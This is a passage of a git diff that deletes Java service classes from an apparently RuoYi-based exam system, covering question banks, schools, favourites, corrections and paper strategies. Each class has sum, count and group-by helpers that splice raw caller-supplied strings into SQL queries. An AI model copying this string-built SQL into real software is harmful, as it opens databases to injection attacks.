jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - /** - * 查询试卷模板策略 - * - * @param id 试卷模板策略ID - * @return 试卷模板策略 - */ - @Override - public ExamPaperStrategy selectExamPaperStrategyById(Long id) { - return examPaperStrategyMapper.selectExamPaperStrategyById(id); - } - - /** - * 查询试卷模板策略列表 - * - * @param examPaperStrategy 试卷模板策略 - * @return 试卷模板策略 - */ - @Override - public List selectExamPaperStrategyList(ExamPaperStrategy examPaperStrategy) { - List list = examPaperStrategyMapper.selectExamPaperStrategyList(examPaperStrategy); - if (list == null || list.size() == 0) { - return list; - } - List ids = new ArrayList<>(); - for (ExamPaperStrategy item : list) { - if (null != item.getCategoryId() && !ids.contains(item.getCategoryId())) { - ids.add(item.getCategoryId()); - } - } - Map comCategoryPlusHashMap = new HashMap<>(); - if (ids.size() > 0) { - comCategoryPlusHashMap = comCategoryService.getMapByIds(ids); - } - for (ExamPaperStrategy item : list) { - if (null != item.getCategoryId() && comCategoryPlusHashMap.containsKey(item.getCategoryId())) { - item.setCategoryName(comCategoryPlusHashMap.get(item.getCategoryId()).getName()); - } else { - item.setCategoryName("无分类"); - } - } - return list; - } - - /** - * 新增试卷模板策略 - * - * @param examPaperStrategy 试卷模板策略 - * @return 结果 - */ - @Transactional - @Override - public int insertExamPaperStrategy(ExamPaperStrategy examPaperStrategy) { - examPaperStrategy.setCreatorId(SecurityUtils.getLoginUser().getUser().getUserId().toString()); - examPaperStrategy.setCreateTime(DateUtils.getNowDate()); - List examPaperStrategyListList = examPaperStrategy.getExamPaperStrategyListList(); - if (StringUtils.isNotNull(examPaperStrategyListList)) { - for(ExamPaperStrategyList item:examPaperStrategyListList){ - Asserts.notNull(item.getCount(),"子策略题目数"); - Asserts.notNull(item.getQuestionType(),"子策略题目类型"); - } - } - int rows = examPaperStrategyMapper.insertExamPaperStrategy(examPaperStrategy); - insertExamPaperStrategyList(examPaperStrategy); - return rows; - } - - /** - * 修改试卷模板策略 - * - * @param examPaperStrategy 试卷模板策略 - * @return 结果 - */ - @Transactional - @Override - public int updateExamPaperStrategy(ExamPaperStrategy examPaperStrategy) { - examPaperStrategyMapper.deleteExamPaperStrategyListByExamPaperStrategyId(examPaperStrategy.getId()); - insertExamPaperStrategyList(examPaperStrategy); - return examPaperStrategyMapper.updateExamPaperStrategy(examPaperStrategy); - } - - /** - * 批量删除试卷模板策略 - * - * @param ids 需要删除的试卷模板策略ID - * @return 结果 - */ - @Transactional - @Override - public int deleteExamPaperStrategyByIds(Long[] ids) { - examPaperStrategyMapper.deleteExamPaperStrategyListByExamPaperStrategyIds(ids); - return examPaperStrategyMapper.deleteExamPaperStrategyByIds(ids); - } - - /** - * 删除试卷模板策略信息 - * - * @param id 试卷模板策略ID - * @return 结果 - */ - @Override - public int deleteExamPaperStrategyById(Long id) { - examPaperStrategyMapper.deleteExamPaperStrategyListByExamPaperStrategyId(id); - return examPaperStrategyMapper.deleteExamPaperStrategyById(id); - } - - /** - * 新增策略子信息 - * - * @param examPaperStrategy 试卷模板策略对象 - */ - public void insertExamPaperStrategyList(ExamPaperStrategy examPaperStrategy) { - List examPaperStrategyListList = examPaperStrategy.getExamPaperStrategyListList(); - Long id = examPaperStrategy.getId(); - if (StringUtils.isNotNull(examPaperStrategyListList)) { - List list = new ArrayList(); - for (ExamPaperStrategyList examPaperStrategyList : examPaperStrategyListList) { - examPaperStrategyList.setExamPaperStrategyId(id); - list.add(examPaperStrategyList); - } - if (list.size() > 0) { - examPaperStrategyMapper.batchExamPaperStrategyList(list); - } - } - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionCorrectionServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionCorrectionServiceImpl.java deleted file mode 100644 index 4406f78..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionCorrectionServiceImpl.java +++ /dev/null @@ -1,220 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; - -import com.luqj.exam.domain.ExamQuestionPlus; -import com.luqj.exam.service.IExamQuestionService; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.system.service.ISysUserService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.ExamQuestionCorrectionMapper; -import com.luqj.exam.domain.ExamQuestionCorrection; -import com.luqj.exam.domain.ExamQuestionCorrectionPlus; -import com.luqj.exam.service.IExamQuestionCorrectionService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 题目纠错Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamQuestionCorrectionServiceImpl extends ServiceImpl implements IExamQuestionCorrectionService -{ - @Autowired - private ExamQuestionCorrectionMapper examQuestionCorrectionMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - @Autowired - private ISysUserService sysUserService; - @Autowired - private IExamQuestionService examQuestionService; - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamQuestionCorrectionPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamQuestionCorrectionPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamQuestionCorrectionPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamQuestionCorrectionPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamQuestionCorrectionPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamQuestionCorrectionPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_question_correction "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_question_correction "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_question_correction "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询题目纠错 - * - * @param id 题目纠错ID - * @return 题目纠错 - */ - @Override - public ExamQuestionCorrection selectExamQuestionCorrectionById(Long id) - { - return examQuestionCorrectionMapper.selectExamQuestionCorrectionById(id); - } - - /** - * 查询题目纠错列表 - * - * @param examQuestionCorrection 题目纠错 - * @return 题目纠错 - */ - @Override - public List selectExamQuestionCorrectionList(ExamQuestionCorrection examQuestionCorrection) - { - List list= examQuestionCorrectionMapper.selectExamQuestionCorrectionList(examQuestionCorrection); - if (list == null || list.size() == 0) { - return list; - } - List ids = new ArrayList<>(); - List qids = new ArrayList<>(); - for (ExamQuestionCorrection item : list) { - ids.add(item.getStudentId()); - qids.add(item.getQuestionId()); - } - Map examQuestionMap = examQuestionService.getMapByIds(qids, ExamQuestionPlus::getId, ExamQuestionPlus::getQuestion); - Map map = sysUserService.selectMapUserById(ids); - for (ExamQuestionCorrection item : list) { - if (map.containsKey(item.getStudentId())) { - item.setStudentName(map.get(item.getStudentId()).getNickName()); - } - if (examQuestionMap.containsKey(item.getQuestionId())) { - item.setQuestionName(examQuestionMap.get(item.getQuestionId()).getQuestion()); - } - } - return list; - } - - /** - * 新增题目纠错 - * - * @param examQuestionCorrection 题目纠错 - * @return 结果 - */ - @Override - public int insertExamQuestionCorrection(ExamQuestionCorrection examQuestionCorrection) - { - examQuestionCorrection.setCreateTime(DateUtils.getNowDate()); - return examQuestionCorrectionMapper.insertExamQuestionCorrection(examQuestionCorrection); - } - - /** - * 修改题目纠错 - * - * @param examQuestionCorrection 题目纠错 - * @return 结果 - */ - @Override - public int updateExamQuestionCorrection(ExamQuestionCorrection examQuestionCorrection) - { - return examQuestionCorrectionMapper.updateExamQuestionCorrection(examQuestionCorrection); - } - - /** - * 批量删除题目纠错 - * - * @param ids 需要删除的题目纠错ID - * @return 结果 - */ - @Override - public int deleteExamQuestionCorrectionByIds(Long[] ids) - { - return examQuestionCorrectionMapper.deleteExamQuestionCorrectionByIds(ids); - } - - /** - * 删除题目纠错信息 - * - * @param id 题目纠错ID - * @return 结果 - */ - @Override - public int deleteExamQuestionCorrectionById(Long id) - { - return examQuestionCorrectionMapper.deleteExamQuestionCorrectionById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionFavoriteServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionFavoriteServiceImpl.java deleted file mode 100644 index 92510e3..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionFavoriteServiceImpl.java +++ /dev/null @@ -1,230 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; - -import com.luqj.exam.domain.ExamQuestionPlus; -import com.luqj.exam.domain.ExamSchoolPlus; -import com.luqj.exam.service.IExamQuestionService; -import com.luqj.exam.service.IExamSchoolService; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.system.service.ISysUserService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.ExamQuestionFavoriteMapper; -import com.luqj.exam.domain.ExamQuestionFavorite; -import com.luqj.exam.domain.ExamQuestionFavoritePlus; -import com.luqj.exam.service.IExamQuestionFavoriteService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 题目收藏Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamQuestionFavoriteServiceImpl extends ServiceImpl implements IExamQuestionFavoriteService -{ - @Autowired - private ExamQuestionFavoriteMapper examQuestionFavoriteMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - @Autowired - private ISysUserService sysUserService; - @Autowired - private IExamQuestionService examQuestionService; - @Autowired - private IExamSchoolService examSchoolService; - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamQuestionFavoritePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamQuestionFavoritePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamQuestionFavoritePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamQuestionFavoritePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamQuestionFavoritePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamQuestionFavoritePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_question_favorite "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_question_favorite "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_question_favorite "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询题目收藏 - * - * @param id 题目收藏ID - * @return 题目收藏 - */ - @Override - public ExamQuestionFavorite selectExamQuestionFavoriteById(Long id) - { - return examQuestionFavoriteMapper.selectExamQuestionFavoriteById(id); - } - - /** - * 查询题目收藏列表 - * - * @param examQuestionFavorite 题目收藏 - * @return 题目收藏 - */ - @Override - public List selectExamQuestionFavoriteList(ExamQuestionFavorite examQuestionFavorite) - { - List list= examQuestionFavoriteMapper.selectExamQuestionFavoriteList(examQuestionFavorite); - if(list == null || list.size() == 0){ - return list; - } - List ids = new ArrayList<>(); - List qids = new ArrayList<>(); - List schoolIds = new ArrayList<>(); - for (ExamQuestionFavorite item : list) { - ids.add(item.getStudentId()); - qids.add(item.getQuestionId()); - schoolIds.add(item.getSchoolId()); - } - Map examQuestionMap = examQuestionService.getMapByIds(qids, ExamQuestionPlus::getId, ExamQuestionPlus::getQuestion); - Map map = sysUserService.selectMapUserById(ids); - Map examSchoolPlusMap = this.examSchoolService.getMapByIds(schoolIds); - for (ExamQuestionFavorite item : list) { - if (map.containsKey(item.getStudentId())) { - item.setStudentName(map.get(item.getStudentId()).getNickName()); - } - if (examQuestionMap.containsKey(item.getQuestionId())) { - item.setQuestionName(examQuestionMap.get(item.getQuestionId()).getQuestion()); - } - if (examSchoolPlusMap.containsKey(item.getSchoolId())) { - item.setSchoolName(examSchoolPlusMap.get(item.getSchoolId()).getName()); - } - } - return list; - } - - /** - * 新增题目收藏 - * - * @param examQuestionFavorite 题目收藏 - * @return 结果 - */ - @Override - public int insertExamQuestionFavorite(ExamQuestionFavorite examQuestionFavorite) - { - examQuestionFavorite.setCreateTime(DateUtils.getNowDate()); - return examQuestionFavoriteMapper.insertExamQuestionFavorite(examQuestionFavorite); - } - - /** - * 修改题目收藏 - * - * @param examQuestionFavorite 题目收藏 - * @return 结果 - */ - @Override - public int updateExamQuestionFavorite(ExamQuestionFavorite examQuestionFavorite) - { - return examQuestionFavoriteMapper.updateExamQuestionFavorite(examQuestionFavorite); - } - - /** - * 批量删除题目收藏 - * - * @param ids 需要删除的题目收藏ID - * @return 结果 - */ - @Override - public int deleteExamQuestionFavoriteByIds(Long[] ids) - { - return examQuestionFavoriteMapper.deleteExamQuestionFavoriteByIds(ids); - } - - /** - * 删除题目收藏信息 - * - * @param id 题目收藏ID - * @return 结果 - */ - @Override - public int deleteExamQuestionFavoriteById(Long id) - { - return examQuestionFavoriteMapper.deleteExamQuestionFavoriteById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionServiceImpl.java deleted file mode 100644 index 4d22419..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamQuestionServiceImpl.java +++ /dev/null @@ -1,201 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.Date; -import java.util.HashMap; - -import com.ruoyi.common.utils.SecurityUtils; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.ExamQuestionMapper; -import com.luqj.exam.domain.ExamQuestion; -import com.luqj.exam.domain.ExamQuestionPlus; -import com.luqj.exam.service.IExamQuestionService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 题库Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamQuestionServiceImpl extends ServiceImpl implements IExamQuestionService -{ - @Autowired - private ExamQuestionMapper examQuestionMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamQuestionPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamQuestionPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamQuestionPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamQuestionPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamQuestionPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamQuestionPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_question "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_question "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_question "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询题库 - * - * @param id 题库ID - * @return 题库 - */ - @Override - public ExamQuestion selectExamQuestionById(Long id) - { - return examQuestionMapper.selectExamQuestionById(id); - } - - /** - * 查询题库列表 - * - * @param examQuestion 题库 - * @return 题库 - */ - @Override - public List selectExamQuestionList(ExamQuestion examQuestion) - { - return examQuestionMapper.selectExamQuestionList(examQuestion); - } - - /** - * 新增题库 - * - * @param examQuestion 题库 - * @return 结果 - */ - @Override - public int insertExamQuestion(ExamQuestion examQuestion) - { - examQuestion.setCreatorId(SecurityUtils.getLoginUser().getUser().getUserId()); - examQuestion.setUpdateTime(new Date()); - examQuestion.setUpdaterId(SecurityUtils.getLoginUser().getUser().getUserId()); - examQuestion.setCreateTime(DateUtils.getNowDate()); - examQuestion.setStatus(0); - examQuestion.setIsDelete(0); - return examQuestionMapper.insertExamQuestion(examQuestion); - } - - /** - * 修改题库 - * - * @param examQuestion 题库 - * @return 结果 - */ - @Override - public int updateExamQuestion(ExamQuestion examQuestion) - { - examQuestion.setUpdaterId(SecurityUtils.getLoginUser().getUser().getUserId()); - examQuestion.setUpdateTime(DateUtils.getNowDate()); - return examQuestionMapper.updateExamQuestion(examQuestion); - } - - /** - * 批量删除题库 - * - * @param ids 需要删除的题库ID - * @return 结果 - */ - @Override - public int deleteExamQuestionByIds(Long[] ids) - { - return examQuestionMapper.deleteExamQuestionByIds(ids); - } - - /** - * 删除题库信息 - * - * @param id 题库ID - * @return 结果 - */ - @Override - public int deleteExamQuestionById(Long id) - { - return examQuestionMapper.deleteExamQuestionById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamSchoolServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamSchoolServiceImpl.java deleted file mode 100644 index 720d9c8..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamSchoolServiceImpl.java +++ /dev/null @@ -1,213 +0,0 @@ -package com.luqj.exam.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.luqj.exam.domain.ExamSchool; -import com.luqj.exam.domain.ExamSchoolPlus; -import com.luqj.exam.mapper.ExamSchoolMapper; -import com.luqj.exam.service.IExamSchoolService; -import com.luqj.gis.domain.GisRegionPlus; -import com.luqj.gis.service.IGisRegionService; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 出题学校Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamSchoolServiceImpl extends ServiceImpl implements IExamSchoolService { - @Autowired - private ExamSchoolMapper examSchoolMapper; - @Autowired - private IGisRegionService gisRegionService; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(ExamSchoolPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public ExamSchoolPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(ExamSchoolPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (ExamSchoolPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (ExamSchoolPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(ExamSchoolPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from exam_school "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" exam_school "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" exam_school "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - /** - * 查询出题学校 - * - * @param id 出题学校ID - * @return 出题学校 - */ - @Override - public ExamSchool selectExamSchoolById(Long id) { - return examSchoolMapper.selectExamSchoolById(id); - } - - /** - * 查询出题学校列表 - * - * @param examSchool 出题学校 - * @return 出题学校 - */ - @Override - public List selectExamSchoolList(ExamSchool examSchool) { - List list = examSchoolMapper.selectExamSchoolList(examSchool); - if (list == null || list.size() == 0) { - return list; - } - List ids = new ArrayList<>(); - for (ExamSchool item : list) { - if (!ids.contains(item.getCityId())) { - ids.add(item.getCityId()); - } - if (!ids.contains(item.getProvinceId())) { - ids.add(item.getProvinceId()); - } - } - Map gisRegionMap = gisRegionService.getMapByIds(ids); - for (ExamSchool item : list) { - if (gisRegionMap.containsKey(item.getCityId())) { - item.setCityName(gisRegionMap.get(item.getCityId()).getName()); - } - if (gisRegionMap.containsKey(item.getProvinceId())) { - item.setProvinceName(gisRegionMap.get(item.getProvinceId()).getName()); - } - } - return list; - } - - /** - * 新增出题学校 - * - * @param examSchool 出题学校 - * @return 结果 - */ - @Override - public int insertExamSchool(ExamSchool examSchool) { - examSchool.setCreateTime(DateUtils.getNowDate()); - examSchool.setStatus(1); - return examSchoolMapper.insertExamSchool(examSchool); - } - - /** - * 修改出题学校 - * - * @param examSchool 出题学校 - * @return 结果 - */ - @Override - public int updateExamSchool(ExamSchool examSchool) { - examSchool.setUpdateTime(DateUtils.getNowDate()); - return examSchoolMapper.updateExamSchool(examSchool); - } - - /** - * 批量删除出题学校 - * - * @param ids 需要删除的出题学校ID - * @return 结果 - */ - @Override - public int deleteExamSchoolByIds(Long[] ids) { - return examSchoolMapper.deleteExamSchoolByIds(ids); - } - - /** - * 删除出题学校信息 - * - * @param id 出题学校ID - * @return 结果 - */ - @Override - public int deleteExamSchoolById(Long id) { - return examSchoolMapper.deleteExamSchoolById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentMistakesServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentMistakesServiceImpl.java deleted file mode 100644 index d42993c..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/ExamStudentMistakesServiceImpl.java +++ /dev/null @@ -1,213 +0,0 @@ -package com.luqj.exam.service.impl; - -import com.alibaba.fastjson.JSONArray; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.luqj.exam.domain.ExamQuestionPlus; -import com.luqj.exam.domain.ExamStudentMistakes; -import com.luqj.exam.domain.ExamStudentMistakesPlus; -import com.luqj.exam.mapper.ExamStudentMistakesMapper; -import com.luqj.exam.service.IExamQuestionService; -import com.luqj.exam.service.IExamStudentMistakesService; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.system.service.ISysUserService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.stereotype.Service; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 错题集Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class ExamStudentMistakesServiceImpl extends ServiceImpl implements IExamStudentMistakesService { - @Autowired - private ExamStudentMistakesMapper examStudentMistakesMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - @Autowired - private ISysUserService sysUserService; - @Autowired - private IExamQuestionService examQuestionService; - - @Override - public List getByIds(List ids, SFunction... 